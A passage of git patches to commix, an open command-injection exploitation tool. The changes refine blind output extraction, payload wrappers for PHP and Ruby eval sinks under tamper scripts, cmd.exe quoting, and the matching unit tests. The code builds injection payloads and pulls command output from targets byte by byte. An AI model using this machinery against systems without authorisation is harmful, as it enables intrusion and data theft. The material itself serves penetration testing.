\t", self._read("\t AB \t\n")) + self.assertEqual("\t AB \t", self._read("\t AB \t")) + + def test_an_output_that_is_only_whitespace_is_not_read_as_an_empty_one(self): + self.assertEqual(" ", self._read(" ")) + + def test_the_line_breaks_inside_it_stay_where_they_are(self): + self.assertEqual("a\nb", self._read("a\nb\n")) + + def test_a_last_line_with_no_break_after_it_is_still_a_line(self): + self.assertEqual("a\nb", self._read("a\nb")) + + def test_the_breaks_it_ends_with_come_off_the_way_a_substitution_drops_them(self): + self.assertEqual("a\nb", self._read("a\nb\n\n\n")) + + def test_a_carriage_return_is_not_read_as_a_newline(self): + # A byte the command printed, marked as the same thing a newline is marked as: 'a\rb' came + # back as 'a\nb'. + self.assertEqual("a\rb", self._read("a\rb\n")) + self.assertEqual("a\rb", self._read("a\rb")) + + def test_a_windows_line_break_is_one_break_rather_than_two(self): + self.assertEqual("a\r\nb", self._read("a\r\nb\n")) + + def test_a_carriage_return_at_the_end_ends_no_line_so_it_stays(self): + self.assertEqual("ab\r", self._read("ab\r")) + + def test_a_page_whose_own_breaks_are_windows_ones_is_still_read(self): + from src.core.controller import injector + marker = self.TAG + "\r\n" + self.TAG + "\r\n" + page = "Hello, " + marker + "A\tB" + marker + "!" + class served(object): + def read(self, *args, **kwargs): + return page.encode(settings.DEFAULT_CODEC) + def info(self): + return {} + def getcode(self): + return 200 + self.assertEqual("A\tB", injector.injection_results(served(), self.TAG, "cmd", + settings.INJECTION_TECHNIQUE.DYNAMIC_CODE, "url", None, 1)) + + def test_a_page_the_markers_are_not_on_answers_nothing(self): + from src.core.controller import injector + class served(object): + def read(self, *args, **kwargs): + return b"Hello, commix!" + def info(self): + return {} + def getcode(self): + return 200 + self.assertEqual("", injector.injection_results(served(), self.TAG, "cmd", + settings.INJECTION_TECHNIQUE.DYNAMIC_CODE, "url", None, 1)) + class TheOutputsOwnLineBreaksComeBackWithIt(unittest.TestCase): """ A sink handing back only the last line of what it ran - which most of them do, PHP's 'exec()' @@ -1211,40 +1329,37 @@ def test_no_delay_is_scaled_by_a_nested_expansion(self): class BytesAreReadByByte(unittest.TestCase): """ - A byte read off a file is read by byte position, not by character. 'cut -c' counts characters, - and in a UTF-8 locale it errors outright on a byte that is not valid UTF-8 - returning nothing - for every position at or after the first non-ASCII byte, which is exactly the output worth - reading. 'cut -b' counts bytes, and reads it in any locale. + A byte read off the created file is read by byte position, not by character, and not by line. + + 'cut -b' counted bytes but answered once per line of the file, so on an output of more than one + it gave another line's byte and nothing at all for a line shorter than the position asked for - + which is why the file used to be joined into one line before any of it was read. Indexed by awk + instead, with the locale pinned to the byte one, a newline is a position like any other and a + byte that is not valid UTF-8 is still the byte that was written. """ - def _tfb_readers(self): - root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) - path = os.path.join(root, "src", "core", "techniques", "tempfile_based", "tfb_payloads.py") - with open(path) as handle: - return [line for line in handle if "cut -" in line and "OUTPUT_TEXTFILE" in line] - - def test_the_file_is_indexed_by_byte(self): - readers = self._tfb_readers() - self.assertTrue(readers, "no byte reader found to check") - for line in readers: - self.assertIn("cut -b", line, "a file byte is read with 'cut -c': " + line.strip()[:70]) - self.assertNotIn("cut -c", line) - - @unittest.skipUnless(os.path.exists("/usr/bin/cut") or os.path.exists("/bin/cut"), "needs cut") - def test_cut_b_reads_a_high_byte_a_utf8_locale_rejects(self): - import subprocess, tempfile - with tempfile.NamedTemporaryFile(delete=False) as handle: - handle.write(b"x\xc3y") - name = handle.name - try: - environment = {"LC_ALL": "en_US.UTF-8", "PATH": os.environ.get("PATH", "/bin:/usr/bin")} - for position, expected in ((1, "120"), (2, "195"), (3, "121")): - got = subprocess.run("cut -b%d %s | LC_ALL=C od -An -tu1" % (position, name), - shell=True, env=environment, stdout=subprocess.PIPE, - stderr=subprocess.DEVNULL).stdout.decode().split() - # The byte at the position, bar the newline 'cut' puts after it. - self.assertEqual(expected, got[0] if got else "none", "byte at position " + str(position)) - finally: - os.unlink(name) + def _reader(self): + from src.core.techniques.tempfile_based import tfb_payloads + settings.TARGET_OS = settings.OS.UNIX + return tfb_payloads.oracle_get_char(";", "/tmp/o.txt", 6, 65) + + def test_the_file_is_indexed_by_byte_and_not_by_line(self): + reader = self._reader() + self.assertIn("substr(ARGV[1],6,1)", reader) + self.assertIn(settings.BYTE_LOCALE, reader) + for per_line in ("cut -b", "cut -c"): + self.assertNotIn(per_line, reader, "a file byte is read a line at a time: " + per_line) + + @unittest.skipUnless(os.path.exists("/usr/bin/awk") or os.path.exists("/bin/awk"), "needs awk") + def test_the_reading_answers_a_high_byte_a_utf8_locale_rejects(self): + import subprocess + environment = {"LC_ALL": "en_US.UTF-8", "PATH": os.environ.get("PATH", "/bin:/usr/bin")} + for position, expected in ((1, "120"), (2, "195"), (3, "121")): + command = ("LC_ALL=C awk 'BEGIN{print((substr(ARGV[1]," + str(position) + + ",1))(\"X\"))}' \"$(printf 'x\\303y')\" | LC_ALL=C od -An -tu1") + got = subprocess.run(command, shell=True, env=environment, stdout=subprocess.PIPE, + stderr=subprocess.DEVNULL).stdout.decode().split() + # The byte at the position, before the letter concatenated onto it to keep a newline readable. + self.assertEqual(expected, got[0] if got else "none", "byte at position " + str(position)) # eof From d0b565cc32cedcf9dd94bc10812a0d5e36d42ae5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 14 Nov 2026 08:04:40 +0200 Subject: [PATCH 1016/1023] Fixed several issues regarding how a blind technique reads a command's output, affecting the boolean-based technique and the payloads built for an evaluation sink when a tamper script is in effect --- src/core/controller/checks.py | 44 +++++++++++++++++++ src/core/eval/grammars/php.py | 9 ++++ src/core/eval/grammars/ruby.py | 5 +++ .../techniques/boolean_based/bb_handler.py | 28 +++++++++++- src/utils/settings.py | 9 +++- tests/test_checks.py | 35 +++++++++++++++ tests/test_oob_dns.py | 12 +++++ tests/test_oob_dns_integration.py | 9 ++++ 8 files changed, 148 insertions(+), 3 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 5e98d24c3c..e7c6c63270 100644 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -25,6 +25,7 @@ import socket import random import string +import threading import base64 import importlib import gzip @@ -5486,6 +5487,49 @@ def check_similarities(all_params): all_params = [str(x) for x in all_params if x is not None] return all_params +""" +What this run has already seen the output made of. + +A command's output is not a random string. The same bytes come back again and again - the slashes +of a path, the digits of an id, the letters of a name - and a byte bisected out of the whole pool +every time pays no attention to any of that: the last character of an output costs what the first +one did. Kept here, the next byte is asked about against the ones before it, and the pool is only +fallen back on where they have nothing to say. + +Held per extraction rather than for the run, so it is handed to whatever is reading rather than +kept in 'settings' - two outputs read one after another are not made of the same bytes. +""" +def new_observed_characters(): + return {"frequency": {}, "count": 0, "lock": threading.Lock()} + +""" +One more byte of the output, now that it is known. +""" +def record_observed_character(seen, ordinal): + if ordinal is None: + return + with seen["lock"]: + seen["frequency"][ordinal] = seen["frequency"].get(ordinal, 0) + 1 + seen["count"] = seen["count"] + 1 + +""" +The bytes seen so far, where halving them says more than halving the pool - which it does once +enough of them have answered to be worth generalising from, while the set is still the smaller of +the two, and while the output is repeating itself enough for the guess to be worth its cost. + +Nothing read from here is believed on its own: every technique asking confirms what it finds with +an equality question of its own, so a guess that was wrong costs that question and no correctness. + +The lock is for '--threads', which has several positions being read at once. +""" +def narrowed_characters(seen): + with seen["lock"]: + if (seen["count"] < settings.NARROWING_MIN_OBSERVED + or len(seen["frequency"]) > settings.NARROWING_MAX_SET_SIZE + or seen["count"] < len(seen["frequency"]) * settings.NARROWING_MIN_REPEAT_RATIO): + return None + return sorted(seen["frequency"]) + """ Generate a character pool for time‑related command injection techniques """ diff --git a/src/core/eval/grammars/php.py b/src/core/eval/grammars/php.py index 0abde497fe..beec111501 100644 --- a/src/core/eval/grammars/php.py +++ b/src/core/eval/grammars/php.py @@ -127,6 +127,15 @@ def _literal(text): and nothing is given up by writing it out. """ def run(cmd): + # Asked for only where the payload still reaches the target written the way it was built. Every + # script rewriting a payload of this grammar's is written around the operator below - the one + # answering a sink that rejects a quote of either kind could not carry this call's own quotes at + # all - so where any is in effect the command goes in the way it always did, read by the + # interpreter on its way to the shell. A '$' or a backtick of its own is lost there, which is the + # cost of reaching a sink that would otherwise refuse the payload outright. + from src.utils import settings + if any(settings.TAMPER_SCRIPTS.values()): + return "`" + cmd + "`" return "shell_exec(" + _literal(cmd) + ")" # Read a file and yield its contents. diff --git a/src/core/eval/grammars/ruby.py b/src/core/eval/grammars/ruby.py index 584149fc9c..eaa8b916c0 100644 --- a/src/core/eval/grammars/ruby.py +++ b/src/core/eval/grammars/ruby.py @@ -111,6 +111,11 @@ def _literal(text): return "'" + text.replace("\\", "\\\\").replace("'", "\\'") + "'" def run(cmd): + # As in the PHP grammar beside it, and for the same reason: a script rewriting this payload is + # written around the operator below, so where one is in effect the command goes in that way. + from src.utils import settings + if any(settings.TAMPER_SCRIPTS.values()): + return "`" + cmd + "`" return "IO.popen(" + _literal(cmd) + ").read" # Read a file and yield its contents. diff --git a/src/core/techniques/boolean_based/bb_handler.py b/src/core/techniques/boolean_based/bb_handler.py index 193fc6f12b..2ed487a710 100644 --- a/src/core/techniques/boolean_based/bb_handler.py +++ b/src/core/techniques/boolean_based/bb_handler.py @@ -149,11 +149,30 @@ def question(candidate): range is a request not sent. The same pool the time-related techniques read, so an answer given once holds whichever of them ends up asking. """ -def _byte_at(channel, cmd, position, payloads=None): +def _byte_at(channel, cmd, position, payloads=None, seen=None): payloads = payloads or checks.boolean_based_payloads() question = lambda candidate: payloads.get_char(channel.separator, cmd, position, candidate, operator="-le") + exact = lambda candidate: payloads.get_char(channel.separator, cmd, position, candidate, operator="-eq") char_pool = sorted(set(checks.generate_char_pool(position))) low, high = char_pool[0], char_pool[-1] + + """ + What the output has already turned out to be made of, asked about before the pool is halved at + all - the delay-based technique reads its own bytes this way, and this one used to pay the full + halving for every position however many times the same byte had already come back. + + The set itself is halved, which is a question or two where the pool would have been seven, and the + answer is the equality question's own - so a guess that was wrong costs those questions and + nothing else: the halving below still runs, exactly as it did before. Which is also why it is + asked only of an output whose bytes actually repeat: paid for at every position and collected at + few, it is slower than the halving it was meant to save. + """ + if seen is not None: + narrowed = checks.narrowed_characters(seen) + if narrowed: + index = _bisect(channel, lambda position_in_set: question(narrowed[position_in_set]), 0, len(narrowed) - 1) + if index is not None and _ask(channel, exact(narrowed[index])): + return narrowed[index] # A pool with nothing missing between its ends is its own range, so it is halved directly rather # than by index. The answer is still asked for by name: what the halving cannot tell apart is a # byte inside the pool from one above it, and that is true of a pool with no gaps as much as any. @@ -277,8 +296,13 @@ def _note(): else: settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(base + ": " + _display())) + # One memory for the whole output, so a byte read at one position makes the next one cheaper. + seen = checks.new_observed_characters() + def _resolve(position): - resolved[position] = _byte_at(channel, cmd, position, payloads=payloads) + ascii_char = _byte_at(channel, cmd, position, payloads=payloads, seen=seen) + resolved[position] = ascii_char + checks.record_observed_character(seen, ascii_char) _note() if workers == 1: diff --git a/src/utils/settings.py b/src/utils/settings.py index fe263b0450..382b5fbe3a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "342" +REVISION = "343" # How long an install may go without being updated before the run says so at the end. Read off the # files on disk rather than asked of anyone, so a run that never reaches the network still knows. @@ -2497,6 +2497,13 @@ class END_LINE: # Number of most-frequent characters probed directly before bisecting. FREQUENCY_PROBE_TOP_K = 3 +# How often a byte has to repeat before the set already seen is worth halving instead of the pool. +# Asking about that set and being wrong costs the questions it took plus the pool's own halving, so +# it only pays where the output really does say the same things over again - an output of mostly +# distinct bytes answered more slowly for being asked the clever way. +NARROWING_MIN_REPEAT_RATIO = 2 + + # Prevent auto-shrink from undoing a delay increase after validation. ADJUST_TIME_DELAY_DISABLED = False diff --git a/tests/test_checks.py b/tests/test_checks.py index aa1a7e9970..6fcecd65a3 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -23,6 +23,41 @@ from src.core.controller import checks from src.core.parse import cmdline as menu +class WhatTheOutputHasAlreadyTurnedOutToBeMadeOf(unittest.TestCase): + """ + A byte bisected out of the whole pool every time pays no attention to the ones already read, so + the last character of an output costs what the first one did. Halving the set seen so far instead + is a question or two rather than seven - but it is paid for at every position and collected only + where a byte repeats, so an output of mostly distinct bytes is answered more slowly for being + asked the clever way, and is left alone. + """ + def _seen(self, text): + seen = checks.new_observed_characters() + for char in text: + checks.record_observed_character(seen, ord(char)) + return seen + + def test_nothing_is_generalised_from_too_few_bytes(self): + self.assertIsNone(checks.narrowed_characters(self._seen("ab"))) + + def test_an_output_whose_bytes_repeat_is_worth_halving(self): + narrowed = checks.narrowed_characters(self._seen("aaaabbbb")) + self.assertEqual([ord("a"), ord("b")], narrowed) + + def test_an_output_of_mostly_distinct_bytes_is_left_to_the_pool(self): + # '/usr/local/bin' - eleven distinct bytes in fourteen, which the halving below cannot beat. + self.assertIsNone(checks.narrowed_characters(self._seen("/usr/local/bin"))) + + def test_a_set_wider_than_the_pool_is_worth_nothing(self): + wide = "".join(chr(code) for code in range(32, 32 + settings.NARROWING_MAX_SET_SIZE + 1)) + self.assertIsNone(checks.narrowed_characters(self._seen(wide * settings.NARROWING_MIN_REPEAT_RATIO))) + + def test_a_position_that_resolved_to_nothing_is_not_a_byte(self): + seen = self._seen("aaaabbbb") + before = checks.narrowed_characters(seen) + checks.record_observed_character(seen, None) + self.assertEqual(before, checks.narrowed_characters(seen)) + class CurrentBoundary(unittest.TestCase): """ What a rewrite reads back about the boundary the parameter at hand was proved on. diff --git a/tests/test_oob_dns.py b/tests/test_oob_dns.py index 9c024c93ca..3681d2e895 100644 --- a/tests/test_oob_dns.py +++ b/tests/test_oob_dns.py @@ -559,9 +559,21 @@ class TestOobEval(unittest.TestCase): def setUp(self): settings.TARGET_OS = settings.OS.UNIX settings.OOB_EVAL = False + # The shape asserted below is the one built where nothing is rewriting the payload. Each + # tamper module flips its own flag as it is imported, so a test that imported one earlier + # in the run would otherwise decide what this one is handed. + self._tampers = dict(settings.TAMPER_SCRIPTS) + for name in settings.TAMPER_SCRIPTS: + settings.TAMPER_SCRIPTS[name] = False + # And the language too: the shape below is PHP's, and a test that named another grammar + # earlier in the run leaves that one in place for whatever runs next. + self._grammar = settings.EVAL_GRAMMAR + settings.set_eval_grammar("php") def tearDown(self): settings.OOB_EVAL = False + settings.TAMPER_SCRIPTS.update(self._tampers) + settings.EVAL_GRAMMAR = self._grammar # --- exfiltrate_eval structure ----------------------------------------- diff --git a/tests/test_oob_dns_integration.py b/tests/test_oob_dns_integration.py index da2f22c7dc..6d0574e283 100644 --- a/tests/test_oob_dns_integration.py +++ b/tests/test_oob_dns_integration.py @@ -272,6 +272,13 @@ class TestDnsOobIntegration(unittest.TestCase): def setUp(self): settings.TARGET_OS = settings.OS.UNIX settings.INCOMPLETE_OUTPUT = False + # As in 'test_oob_dns': the eval wrapper's shape is the no-tamper one, and a tamper module + # imported earlier in the run would otherwise choose it for us. + self._tampers = dict(settings.TAMPER_SCRIPTS) + for name in settings.TAMPER_SCRIPTS: + settings.TAMPER_SCRIPTS[name] = False + self._grammar = settings.EVAL_GRAMMAR + settings.set_eval_grammar("php") self._stub = DnsStub() self._stub.start() self._tmpdir = tempfile.mkdtemp(prefix="commix_oob_test_") @@ -281,6 +288,8 @@ def tearDown(self): self._stub.stop() shutil.rmtree(self._tmpdir, ignore_errors=True) settings.TARGET_OS = settings.OS.UNIX + settings.TAMPER_SCRIPTS.update(self._tampers) + settings.EVAL_GRAMMAR = self._grammar def _run(self, cmd, timeout=12): env = dict(os.environ) From 734a9ebd1c588f5309f6d982ab5377b9be981576 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 15 Nov 2026 10:04:10 +0200 Subject: [PATCH 1017/1023] Fixed several issues regarding the output a Windows target hands back, affecting the payloads built with `--interpreter` and the reporting of a command cmd.exe cannot be given --- src/core/controller/checks.py | 8 ++++++ src/core/controller/handler.py | 4 +++ src/core/controller/injector.py | 15 +++++++++-- src/core/requests/requests.py | 6 ++++- src/utils/common.py | 13 ++++++++++ src/utils/settings.py | 8 ++++-- tests/test_common.py | 27 ++++++++++++++++++++ tests/test_payloads.py | 45 +++++++++++++++++++++++++++++++++ tests/test_requests.py | 39 ++++++++++++++++++++++++++++ 9 files changed, 160 insertions(+), 5 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index e7c6c63270..a9141cba74 100644 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -7270,6 +7270,12 @@ def output_file_still_served(): if not settings.DEFINED_WEBROOT: return False from src.core.requests import requests + """ + Asked as a request of its own, because what it is looking for is the answer every other request + is warned about: a file that has been deleted is not found, and a '404' here is the delete having + taken rather than the target interfering with anything. + """ + settings.set_side_request("file_check", True) try: request = _urllib.request.Request(settings.DEFINED_WEBROOT) headers.do_check(request) @@ -7277,6 +7283,8 @@ def output_file_still_served(): return bool(response) and not isinstance(response, bool) except Exception: return False + finally: + settings.set_side_request("file_check", False) """ Name the file this technique leaves in the target's document root, and the URL it answers on - it is diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index 0b3222aef7..6fff8cf749 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -249,6 +249,10 @@ def delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_reque warn_msg += "does not appear to have been deleted. Remove it by hand." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "The file ('" + OUTPUT_TEXTFILE + "') is no longer served by the target, so the " + debug_msg += "delete took." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) session_handler.mark_file_deleted(url, technique, vuln_parameter, http_request_method) checks.forget_leftover_file(OUTPUT_TEXTFILE) diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index 0184769f6e..484366926c 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -1828,8 +1828,19 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times pass if settings.TARGET_OS == settings.OS.WINDOWS: if menu.options.interpreter: - shell = [right_space.rstrip() for right_space in shell] - shell = [left_space.lstrip() for left_space in shell] + """ + The one space this payload's own 'write-host' puts either side of the output, and only + that - it is handed the markers and the command as separate arguments, and joins them + with a single space each. + + Stripped of whitespace instead, a command whose output was indented, or padded, or was + whitespace altogether came back without the part of it that said so: an output of a tab, + three spaces, 'X' and seven more tabs arrived as 'X', the same way the file-based + technique's own reading used to lose it. + """ + padding = settings.SINGLE_WHITESPACE + shell = [padded[1:-1] if padded[:1] == padding and padded[-1:] == padding else padded + for padded in shell] if "<<<<" in shell[0]: false_result = True else: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 07b129883f..8a6568ea79 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -695,7 +695,11 @@ def request_failed(err_msg): handled = _answered_with_status(code, err_msg) if handled is not None: return handled - if not checks.ignored_http_error_code(code) and int(code) not in settings.WARNED_HTTP_ERROR_CODES: + # Not where the request went looking for the code it got: the read that checks whether the + # output file is still served answers "deleted" with a '404', and calling that interference + # warned the operator about the one thing that had gone right. + if (not checks.ignored_http_error_code(code) and not settings.in_side_request("file_check") + and int(code) not in settings.WARNED_HTTP_ERROR_CODES): warn_msg = "The web server responded with an HTTP error code '" + checks.http_error_code_label(code, err_msg) warn_msg += "' which could interfere with the results of the tests." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) diff --git a/src/utils/common.py b/src/utils/common.py index 83e09918d5..7288ecf318 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -33,6 +33,19 @@ """ def invalid_cmd_output(cmd): err_msg = "Execution of the '" + cmd + "' command did not return any output." + """ + And why, where the command itself is the reason. + + A cmd.exe target is read through a 'for /f' loop, whose own clause is where the command is + written - and a double quote of the command's closes that clause rather than reaching the shell, + so nothing runs and nothing comes back. Doubling it, escaping it with a caret and swapping the + clause for the backquoted form were each tried against a cmd.exe and none of them carries it, so + what is left is to say so: an answer that was never going to arrive is worth telling apart from a + command that genuinely printed nothing. + """ + if settings.TARGET_OS == settings.OS.WINDOWS and settings.DOUBLE_QUOTE in cmd: + err_msg += " A '" + settings.DOUBLE_QUOTE + "' in a command cannot be carried to a cmd.exe " + err_msg += "target, which is why this one did not run. Write it without one." return err_msg """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 382b5fbe3a..ef21638c2d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "343" +REVISION = "344" # How long an install may go without being updated before the run says so at the end. Read off the # files on disk rather than asked of anyone, so a run that never reaches the network still knows. @@ -1074,6 +1074,10 @@ def current_technique(): # A quote closes only its own kind. QUOTES = ("'", "\"") +# The one of them a cmd.exe target cannot be handed: it closes the 'for /f' clause the command is +# written into rather than reaching the shell. +DOUBLE_QUOTE = QUOTES[1] + # Boundary lists already put in the order a shape of value asks for, kept rather than sorted again. BOUNDARY_ORDER_CACHE = {} @@ -2684,7 +2688,7 @@ class END_LINE: someone else's errand - left out of the tally its own retry check is read against, and left out of the pacing that '--safe-freq' and '--proxy-freq' go by. """ -SIDE_REQUEST_KINDS = ("second_order", "safe_request", "csrf_token") +SIDE_REQUEST_KINDS = ("second_order", "safe_request", "csrf_token", "file_check") SIDE_REQUESTS = _threading.local() # Whether this thread is in the middle of one of them - of the kind named, or of any kind at all. diff --git a/tests/test_common.py b/tests/test_common.py index 38e572e093..7ff9f27510 100644 --- a/tests/test_common.py +++ b/tests/test_common.py @@ -29,6 +29,33 @@ ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) CMDLINE = os.path.join(ROOT, "src", "core", "parse", "cmdline.py") +class ACommandACmdExeCannotBeHandedSaysSo(unittest.TestCase): + """ + The command is written into a 'for /f' clause, and a double quote of its own closes that clause + rather than reaching the shell - so nothing runs. Measured against a cmd.exe: doubling the quote, + escaping it with a caret and swapping the clause for the backquoted form each failed to carry it. + An answer that was never going to arrive is worth telling apart from a command that printed + nothing. + """ + def setUp(self): + self._os = settings.TARGET_OS + + def tearDown(self): + settings.TARGET_OS = self._os + + def test_a_windows_target_is_told_why_the_command_did_not_run(self): + settings.TARGET_OS = settings.OS.WINDOWS + said = common.invalid_cmd_output('echo a"b') + self.assertIn("cannot be carried to a cmd.exe", said) + + def test_a_command_without_one_is_left_unexplained(self): + settings.TARGET_OS = settings.OS.WINDOWS + self.assertNotIn("cannot be carried", common.invalid_cmd_output("echo ab")) + + def test_nothing_is_said_about_a_shell_that_carries_it_perfectly_well(self): + settings.TARGET_OS = settings.OS.UNIX + self.assertNotIn("cannot be carried", common.invalid_cmd_output('echo a"b')) + class SanitisedReports(unittest.TestCase): """ An unhandled exception offers to open a GitHub issue, and what it carries is read by strangers. diff --git a/tests/test_payloads.py b/tests/test_payloads.py index a917e8ba87..faa8748062 100644 --- a/tests/test_payloads.py +++ b/tests/test_payloads.py @@ -22,6 +22,7 @@ from tests._testutils import SEPARATORS, separators_in, stage as stage_exploitation from src.utils import settings +from src.core.parse import cmdline as menu TECHNIQUES = ("results_based.rb_payloads", "time_based.tb_payloads", "file_based.fb_payloads", "tempfile_based.tfb_payloads", "boolean_based.bb_payloads") @@ -339,6 +340,50 @@ def test_nothing_is_taken_off_what_the_command_printed(self): self.assertNotIn("%[[:space:]]", tfb_payloads.output_text()) self.assertIn(settings.RANDOM_VAR_GENERATOR, tfb_payloads.output_text()) +class AWindowsInterpretersOutputKeepsItsOwnEdges(unittest.TestCase): + """ + The payload hands 'write-host' the markers and the command as separate arguments, and it joins + them with a single space each - so one space either side of the output is the payload's own and + everything else is the command's. Stripped of whitespace instead, an output that was indented, or + padded, or was whitespace altogether came back without the part of it that said so. + """ + TAG = "WWWWWW" + + def setUp(self): + self._state = (settings.TARGET_OS, menu.options.interpreter) + settings.TARGET_OS = settings.OS.WINDOWS + menu.options.interpreter = "python" + + def tearDown(self): + settings.TARGET_OS, menu.options.interpreter = self._state + + def _read(self, output): + from src.core.controller import injector + # What 'write-host TAGTAG $(cmd /c ...) TAGTAG' leaves on the page. + page = "junk" + self.TAG + self.TAG + " " + output + " " + self.TAG + self.TAG + "junk" + class served(object): + def read(self, *args, **kwargs): + return page.encode(settings.DEFAULT_CODEC) + def info(self): + return {} + def getcode(self): + return 200 + found = injector.injection_results(served(), self.TAG, "cmd", + settings.INJECTION_TECHNIQUE.RESULTS_BASED, "url", None, 1) + return "".join(str(part) for part in found) + + def test_an_ordinary_output_loses_the_padding_and_nothing_else(self): + self.assertEqual("X", self._read("X")) + + def test_the_whitespace_the_output_begins_and_ends_with_is_kept(self): + self.assertEqual("\t \t\t\tX\t\t\t\t\t\t\t", self._read("\t \t\t\tX\t\t\t\t\t\t\t")) + + def test_an_output_that_is_only_whitespace_is_not_read_as_an_empty_one(self): + self.assertEqual(" ", self._read(" ")) + + def test_an_output_padded_with_spaces_keeps_them(self): + self.assertEqual(" X ", self._read(" X ")) + class AnEvaluatedCommandsOutputIsReadAsItWasPrinted(unittest.TestCase): """ The payload prints its markers with 'echo', so each of them ends with a line break and what sits diff --git a/tests/test_requests.py b/tests/test_requests.py index 7d51f5d740..993f9813b8 100644 --- a/tests/test_requests.py +++ b/tests/test_requests.py @@ -184,3 +184,42 @@ def test_a_request_does_not_start_carrying_the_one_before_it(self): def test_a_request_that_was_never_redirected_says_so(self): headers.apply_request_policy() self.assertEqual("", settings.REDIRECT_CODE) + + +class ACodeTheRequestWentLookingForIsNotInterference(unittest.TestCase): + """ + The read that checks whether the output file is still served answers "deleted" with a '404', so + warning about it told the operator that the one thing which had gone right might be interfering + with the tests. + """ + def setUp(self): + self._state = (settings.TOTAL_OF_REQUESTS, set(settings.WARNED_HTTP_ERROR_CODES)) + # Past the first request, which is where this warning used to be confined. + settings.TOTAL_OF_REQUESTS = 42 + settings.WARNED_HTTP_ERROR_CODES = set() + self.said = [] + self._print = settings.print_data_to_stdout + settings.print_data_to_stdout = lambda text: self.said.append(str(text)) + + def tearDown(self): + settings.print_data_to_stdout = self._print + settings.TOTAL_OF_REQUESTS, settings.WARNED_HTTP_ERROR_CODES = self._state + settings.set_side_request("file_check", False) + + def _not_found(self): + return _urllib.error.HTTPError("http://t/o.txt", 404, "Not Found", {}, None) + + def test_a_404_on_an_ordinary_request_is_still_worth_saying(self): + requests.request_failed(self._not_found()) + self.assertTrue([_ for _ in self.said if "could interfere" in _]) + + def test_the_file_check_is_not_warned_about_for_finding_what_it_asked(self): + settings.set_side_request("file_check", True) + requests.request_failed(self._not_found()) + self.assertFalse([_ for _ in self.said if "could interfere" in _]) + + def test_the_check_puts_the_marker_back_when_it_is_done(self): + from src.core.controller import checks + settings.DEFINED_WEBROOT = "" + checks.output_file_still_served() + self.assertFalse(settings.in_side_request("file_check")) From a9bf81495cfc62b329a1d4126c51b85c5902e304 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 15 Nov 2026 10:05:42 +0200 Subject: [PATCH 1018/1023] Fixed several issues regarding the output the privilege check is given and the carrying of a caret to a `cmd.exe` target --- src/core/controller/checks.py | 18 ++++++ src/core/controller/enumeration.py | 15 ++--- .../techniques/results_based/rb_payloads.py | 2 +- .../techniques/tempfile_based/tfb_payloads.py | 6 +- src/utils/settings.py | 5 +- tests/test_payloads.py | 62 +++++++++++++++++++ 6 files changed, 94 insertions(+), 14 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index a9141cba74..023dac2455 100644 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -5533,6 +5533,24 @@ def narrowed_characters(seen): """ Generate a character pool for time‑related command injection techniques """ +""" +A command written into a cmd.exe payload, with the one character that shell reads as its own left +as the command's. + +cmd.exe takes a '^' for its own escape and drops it, so a command carrying one ran without it and +what came back was reported as the command's own answer: 'echo a^b' arrived as 'ab', which is a +wrong answer rather than a missing one. Doubled, it reaches the command as the character it was - +measured against a cmd.exe, one doubling is exactly what a single pass of its unescaping takes off, +and a command carrying none is untouched. + +Not done where a script is rewriting the payload: the one that spells a payload in carets collapses +a double back to a single, which would undo this and leave the command shorter than it was written. +""" +def caret_escaped(cmd): + if any(settings.TAMPER_SCRIPTS.values()): + return cmd + return cmd.replace(settings.WIN_ESCAPE, settings.WIN_ESCAPE * 2) + def generate_char_pool(num_of_chars): if menu.options.charset: return [ord(c) for c in menu.options.charset] diff --git a/src/core/controller/enumeration.py b/src/core/controller/enumeration.py index db3c44c285..bf683cee5d 100755 --- a/src/core/controller/enumeration.py +++ b/src/core/controller/enumeration.py @@ -101,17 +101,10 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites cmd = settings.IS_ROOT if checks.using_backticks(): cmd = checks.remove_command_substitution(cmd) - """ - Undo the padding the Windows interpreter payload writes around its output, and only that. - - Nothing else pads, and taking a character off either end regardless turned a user id of '0' into - an empty string - root, reported as having no elevated privileges. - """ - def trim_marker(shell): - if shell.startswith(settings.SINGLE_WHITESPACE) and shell.endswith(settings.SINGLE_WHITESPACE): - return shell.strip() - return shell - execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, 